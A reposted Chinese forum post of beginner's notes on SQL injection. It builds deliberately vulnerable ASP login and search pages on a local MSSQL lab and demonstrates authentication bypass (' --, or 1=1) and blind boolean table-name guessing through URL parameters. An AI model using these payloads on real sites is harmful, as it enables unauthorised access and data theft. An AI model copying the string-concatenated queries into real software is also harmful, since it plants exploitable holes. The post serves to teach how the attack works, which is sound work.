发新话题
打印

[转载]SQL注入学习笔记

[转载]SQL注入学习笔记

文章作者:一剑飘叶
  
最近我开始较为系统地学习SQL注入,网上由很多关于SQL注入的文章,我也翻了一下,并在自己的机器上进行了调试。学了一段时间后,我决定写一遍适合于新手看的教程,因为教人的同时自己才能进步,顺便把我的理解说出来,希望高手看后能纠正我的错误之处。其实这篇也不能算是教程,只是我的学习笔记。由于是第一次教别人,而且本人武功低微,希望高手不要见笑,并能及时纠正我的错误。

据说在1997年以前国外电脑通信杂志就已经披露了SQL注入这一弱点(感觉到了差距)。透过ASP、PHP和JSP等程序,可以攻击破坏各种SQL数据库(MSSQL、MySQL、Oracle、Sybase和DB2等)。去年动网等论坛程序被陆续发现严重的漏洞,我也根据公布的漏洞测试了一些站点。但我喜欢刨根究底,不满足于只知道怎样入侵,而是想看懂原理。于是有了下面的学习。

调试环境:Windows 2000+IIS 5.0+SQL 2000+ASP

1、 SQL数据库的链接
我们用以下的方法(当然也可以用系统DSN)
<%
set conn=server.CreateObject("ADODB.Connection")
connstr="DRIVER={SQL Server};server=127.0.0.1;UID=test;Password=hacker"
conn.open connstr

set rs=server.CreateObject("ADODB.Recordset")
rs.Open "login",conn
%>
几点说明:(1)此处的用户,如果在企业管理器中建立的SQL帐户,请确定SQL SERVER处于混合验证模式,如果是系统帐户,请在企业管理器中授予合适的权限。
(2)这里的login是自己建立的表,因为第二行connstr字符串没有指定数据库,所以是这个登陆帐户的默认数据库(这里test设置的默认数据库是pubs)。因此要在表login建立在pubs数据库下。
(3)建立了login表后,请在属性-〉权限中给与guest以所有权限(为了方便,这里暂不考虑安全问题),否则下面将不能对表进行操作。

2、 介绍一些对数据库中表的一些基本操作
(假设上面的对象都已经建立)
Response.Write "记录集中共有"&rs.Fields.count&"字段"//显示字段总数


for i=0 to rs.Fields.count-1
Response.Write "<TD>"&rs(i).Name&"</TD>"//打印出所有的字段名
next

rs.MoveFirst //下面打印出所有的记录
while not rs.EOF
row="<TR BGCOLOR=#ffff00>"
for i=0 to rs.Fields.count-1
row=row&"<TD>"&rs(i)&"</td>"
next
Response.Write row&"</tr>"
rs.MoveNext
wend


rs.Find="电话=110"//这里是查找
if rs.EOF then
Response.Write "无此名字"
else
Response.Write "查到了。

下面将显示如何在ASP网页中执行SQL语句:
(1)、不返回数据集
sqlstate=request("sql_state")
if sqlstate<>empty then
set conn=server.CreateObject("ADODB.Connection")
connstr="Driver={sql server};server=127.0.0.1;UID=test;Password=hacker"
conn.Open connstr

set cmdobj=server.CreateObject("ADODB.Command")
set cmdobj.ActiveConnection=conn
cmdobj.CommandText=sqlstate
cmdobj.Execute
(2)、返回数据集
方法一:
sql=request("sql")
if sql<>empty then
set conn=server.CreateObject("adodb.connection")
connstr="driver={sql server};server=127.0.0.1;uid=test;password=hacker"
conn.Open connstr
set rs=conn.Execute(sql)
此时 rs就相当于前面的RecordSet对象一样,可以进行相应的操作。
方法二:
sql=request("sql")
if sql<>empty then
set conn=server.CreateObject("adodb.connection")
connstr="driver={sql server};server=127.0.0.1;uid=test;password=hacker"
conn.Open connstr

set rs=server.CreateObject("adodb.recordset")
rs.Open sql,conn

说明:这里的sql即指sql语句,但注意语句中只能用单引号,不要用双引号。

3、 正题:设计一个有漏洞的ASP程序
我建立的login表如下:
Username Password Money
Isml hehe 1000
Father haha 1500

设计一个登陆界面login.htm:
<HTML>
<HEAD>
<META NAME="GENERATOR" Content="Microsoft Visual Studio 6.0">
<TITLE></TITLE>
</HEAD>
<BODY bgcolor=green>
<center>
<form method=post action="check.asp">
<p>
<center>登陆测试界面</center>
<p>
UserName:
<input type="text" name=username>
<p>Password:
<input type="password" name=password>
<p>
<input type="submit" value="提交">
</form>
</center>
</BODY>
</HTML>

下面是check.asp的代码(要看懂):
<%@ Language=VBScript %>
<HTML>
<HEAD>
<META NAME="GENERATOR" Content="Microsoft Visual Studio 6.0">
</HEAD>
<BODY bgcolor=#00ffff>

<%
dim strUserName,strPassword,strConn,strSql

strUserName=trim(request("username"))
strPassword=trim(request("password"))
if strUserName="" then
Response.Write "<body><p><center>用户名不能为空</center></p></body>"
Response.End
end if

if strPassword="" then
Response.Write "<body><p><center>密码不能为空</center></p></body>"
Response.End
end if

set conn=server.CreateObject("ADODB.Connection")
strConn="driver={sql server};server=127.0.0.1;uid=test;password=hacker"
conn.Open strConn
strSql="select * from login where username="&trim(strUserName)&"and password="&trim(strPassword)&""

set rs=server.CreateObject("ADODB.RecordSet")

rs.Open strSql,conn,1,3
if not rs.EOF then
Response.Write "<center>通过验证</center>"
else
Response.Write "<center>密码错误或不存在该用户</center>"
end if

%>

</BODY>
</HTML>

保存好文件后,建立好虚拟目录,就可以测试了。(我没有截图,如果有问题可以发E-mail给我)
用户名:isml 密码:hehe 则通过验证
用户名:isml 密码:123 密码错误或不存在该用户

下面进行简单的SQL Injection攻击:
(1)、尝试输入用户名:isml ‘ -- 密码:(任意)
看到结果了吗?吃惊吧,竟然通过验证!!
下面对代码进行分析:
strUserName=trim(request("username"))
strPassword=trim(request("password"))
获取在login.htm中的输入。
strSql=”select * from login where username="&trim(strUserName)&"and password="&trim(strPassword)&""
这里是漏洞的关键:
假设我们这里输入正确的用户名:isml和密码:hehe,则这句语句就相当于:
strSql="select * from login where username=isml and password=’hehe’”
通过rs.Open strSql,conn,1,3执行,在login表中查找,如果符合这样的项,则rs指向这条记录,所以不满足not rs.eof,因此输出“通过验证”。,否则两项中至少有一项不满足,就会输出“密码错误或不存在该用户”。
现在分析输入用户名isml ‘ -- 密码:123(任意)的情况:
strSql=”select * from login where username=’isml ‘-- ‘ and password=’123’”
注意:--是SQL语句中的注释。因此语句就相当于变成:
strSql=”select * from login where username=’isml’”
显然,只要我们知道有isml这个用户,则我们不需要他的密码就能登陆。

(2)尝试输入用户名:abc(任意) 密码:abc’ 1=1 or – (密码abc任意)
这个用户根本没有注册,应该返回“密码错误或不存在该用户”。但结果却是:“通过验证”
分析:
strSql=”select * from login where username=’abc ‘ and password=’abc’ or 1=1 --’”
看到了吗?虽然不满足username=’abc’ and password=’abc’一项,但1=1显然成立,所以通过了验证。
(3)尝试输入用户名:abc ‘ or 1=1 -- 密码:123(任意)
结果还是通过验证,新手可以自己分析一下。

4、 关键:更加实用的注入方式
上面的方法现在应该很少有用了(不知道对不对),下面再给出一个漏洞程序。
(注意:上面的注入方式也可用下面的方法。)
首先稍微修改一下前面的login表,增加一个ID字段:
ID Username Password Money
1 Isml hehe 1000
2 Father haha 1500
为了区别,表名改为search
下面设计一个页面search.htm,在该页面中输入欲查询的ID,为了能让新手看清楚,我这里用了get方法,代码如下:
<HTML>
<HEAD>
<META NAME="GENERATOR" Content="Microsoft Visual Studio 6.0">
<TITLE></TITLE>
</HEAD>
<BODY bgcolor=green>
<form method=get action="deal.asp">
<center>请输入要查询的ID号:
<input type="text" name=id>
<input type="submit" value="查找">
</center>
</form>
</BODY>
</HTML>

Deal.asp的源代码如下:
<%@ Language=VBScript %>
<HTML>
<HEAD>
<META NAME="GENERATOR" Content="Microsoft Visual Studio 6.0">
</HEAD>
<BODY>
<%
dim idnumber
idnumber=trim(request("id"))

set conn=server.CreateObject("ADODB.Connection")
connstr="DRIVER={SQL Server};server=127.0.0.1;UID=test;Password=hacker"
conn.open connstr

strSql="select * from search where id="&trim(idnumber)&""

set rs=server.CreateObject("ADODB.RecordSet")

rs.Open strSql,conn,1,3
if not rs.EOF then

Response.Write "<body bgcolor=#00ffff><center>找到该ID!!!!</center></body>"

else
Response.Write "<body bgcolor=#00ffff><center>找不到ID</center></body>"
end if
%>


</BODY>
</HTML>
其实代码也是相似的,我也不用解释了。
下面我们打开IE,首先输入
http://127.0.0.1/deal.asp?id=1
浏览器显示:找到该ID!!!!
我们再输入:
http://127.0.0.1/deal.asp?id=1’ and 1=1 --
结果怎样?哈哈, 找到该ID!!!!
是不是有点思路了?
再次输入:
http://127.0.0.1/deal.asp?id=1’ and 1=2 –
结果:找不到ID
你是不是已经想到怎么利用了?这里浏览器的返回与后面的条件是有关的(1=1,1=2),所以我们可以用它进行猜测,即用猜测语句来代替条件1=1和1=2,如果我们的猜测正确,则浏览器返回正常结果,否则将显示错误。
关于如何猜测大家可以在网上找一些文章来看看,还是比较多的,我就不具体介绍了,一些高手也编了一些自动化的猜测工具。下面我只简单地举个例子:
我们尝试猜测表的名字(大家已经知道我这里建的表是search):
http://127.0.0.1/deal.asp?id=1’ and exists (select * from admin) –
结果:找不到ID。这就说明表名不是admin
http://127.0.0.1/deal.asp?id=1’ and exists (select * from search) –
结果:找到该ID!!!! 哈哈,这说明表名就是search
大家可以用类似的方法猜测表的字段,还有密码呢。具体可以看其他的文章。

后记:
写了这么多了,新手应该对SQL注入的原理比较清楚了吧,实际的入侵还要复杂些,但原理应该类似。最后还要提醒一句,那就是:实践是检验真理的唯一标准。只有实践才能发现问题,只有实践才能不断进步。正如我前段时间学习缓冲区溢出基本原理一样,因为一些文章实践写得比较早,Linux和gcc版本相对较低,所以真的用起来是不能直接照搬代码的,需要适当的修改,我也在这学习中不断的进步着。
最后一句废话,我也是新手。但上面的代码都是我自己编写并测试的,大家如果对上面的说明有问题的,欢迎发E-mail与我联系,大家可以一起讨论讨论。高手如果发现问题,希望能及时帮我指正。
好,祝大家在新的一年里技术天天有进步。
qq310926是我唯一用号,除此之外有其他号码号自称邪八冰血封情,则非本人。

TOP

发新话题